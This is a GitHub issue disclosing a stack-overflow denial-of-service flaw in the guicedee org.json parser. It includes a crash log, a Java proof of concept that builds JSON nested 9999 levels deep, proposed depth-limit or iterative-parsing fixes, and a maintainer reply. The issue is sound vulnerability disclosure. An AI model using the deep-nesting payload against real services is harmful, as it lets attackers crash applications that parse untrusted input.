Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Stack overflow error caused by guicedee parsing of untrusted JSON String #751

Open
PoppingSnack opened this issue Jun 25, 2023 · 1 comment

Comments

@PoppingSnack
Copy link

Stack overflow error caused by guicedee parsing of untrusted JSON String

Description

Using guicedee to parse untrusted JSON String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow.

Error Log

Exception in thread "main" java.lang.StackOverflowError
	at org.json.JSONTokener.next(JSONTokener.java:208)
	at org.json.JSONTokener.nextClean(JSONTokener.java:292)
	at org.json.JSONTokener.nextValue(JSONTokener.java:422)
	at org.json.JSONArray.<init>(JSONArray.java:125)
	at org.json.JSONTokener.nextValue(JSONTokener.java:434)
	at org.json.JSONArray.<init>(JSONArray.java:125)
	at org.json.JSONTokener.nextValue(JSONTokener.java:434)
	at org.json.JSONArray.<init>(JSONArray.java:125)
	at org.json.JSONTokener.nextValue(JSONTokener.java:434)
	at org.json.JSONArray.<init>(JSONArray.java:125)
	at org.json.JSONTokener.nextValue(JSONTokener.java:434)
	at org.json.JSONArray.<init>(JSONArray.java:125)
	at org.json.JSONTokener.nextValue(JSONTokener.java:434)
	at org.json.JSONArray.<init>(JSONArray.java:125)
	at org.json.JSONTokener.nextValue(JSONTokener.java:434)
	at org.json.JSONArray.<init>(JSONArray.java:125)
	at org.json.JSONTokener.nextValue(JSONTokener.java:434)
	at org.json.JSONArray.<init>(JSONArray.java:125)
	at org.json.JSONTokener.nextValue(JSONTokener.java:434)
	at org.json.JSONArray.<init>(JSONArray.java:125)
	at org.json.JSONTokener.nextValue(JSONTokener.java:434)
	at org.json.JSONArray.<init>(JSONArray.java:125)
	at org.json.JSONTokener.nextValue(JSONTokener.java:434)
	at org.json.JSONArray.<init>(JSONArray.java:125)
	at org.json.JSONTokener.nextValue(JSONTokener.java:434)
	at org.json.JSONArray.<init>(JSONArray.java:125)
	at org.json.JSONTokener.nextValue(JSONTokener.java:434)
	at org.json.JSONArray.<init>(JSONArray.java:125)
	at org.json.JSONTokener.nextValue(JSONTokener.java:434)
	at org.json.JSONArray.<init>(JSONArray.java:125)
	at org.json.JSONTokener.nextValue(JSONTokener.java:434)
	at org.json.JSONArray.<init>(JSONArray.java:125)
	at org.json.JSONTokener.nextValue(JSONTokener.java:434)
	at org.json.JSONArray.<init>(JSONArray.java:125)
	at org.json.JSONTokener.nextValue(JSONTokener.java:434)
	at org.json.JSONArray.<init>(JSONArray.java:125)
	at org.json.JSONTokener.nextValue(JSONTokener.java:434)
	at org.json.JSONArray.<init>(JSONArray.java:125)
	at org.json.JSONTokener.nextValue(JSONTokener.java:434)

PoC

        <dependency>
            <groupId>com.guicedee.services</groupId>
            <artifactId>json</artifactId>
            <version>62</version>
        </dependency>
import org.json.JSONArray;
import org.json.JSONObject;
import org.json.JSONTokener;

/**
 * PoC
 *
 * @since 1.0.0
 */
public class PoC {
    public final static int TOO_DEEP_NESTING = 9999;
    public final static String TOO_DEEP_Array = _nestedDoc(TOO_DEEP_NESTING, "[ ", "] ", "1");
    public final static String TOO_DEEP_Object = "{" + _nestedDoc(TOO_DEEP_NESTING, "\"a\": { ", "} ", "1") + "}";

    public static String _nestedDoc(int nesting, String open, String close, String content) {
        StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length()));
        for (int i = 0; i < nesting; ++i) {
            sb.append(open);
            if ((i & 31) == 0) {
                sb.append("\n");
            }
        }
        sb.append("\n").append(content).append("\n");
        for (int i = 0; i < nesting; ++i) {
            sb.append(close);
            if ((i & 31) == 0) {
                sb.append("\n");
            }
        }
        return sb.toString();
    }
    public static void main(String[] args) {
        JSONTokener jsonTokener = new JSONTokener(TOO_DEEP_Array);
        JSONArray jsonArray = new JSONArray(jsonTokener);
        JSONTokener jsonTokener2 = new JSONTokener(TOO_DEEP_Object);
        JSONObject jsonObject = new JSONObject(jsonTokener2);
    }
}

Rectification Solution

  1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (FasterXML/jackson-databind@fcfc499)

  2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((google/gson@2d01d6a20f39881c692977564c1ea591d9f39027))

@stleary
Copy link
Owner

stleary commented Jul 25, 2023

I think this should be fixed by updating the library to use a maximum parsing depth property (solution 1 above)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants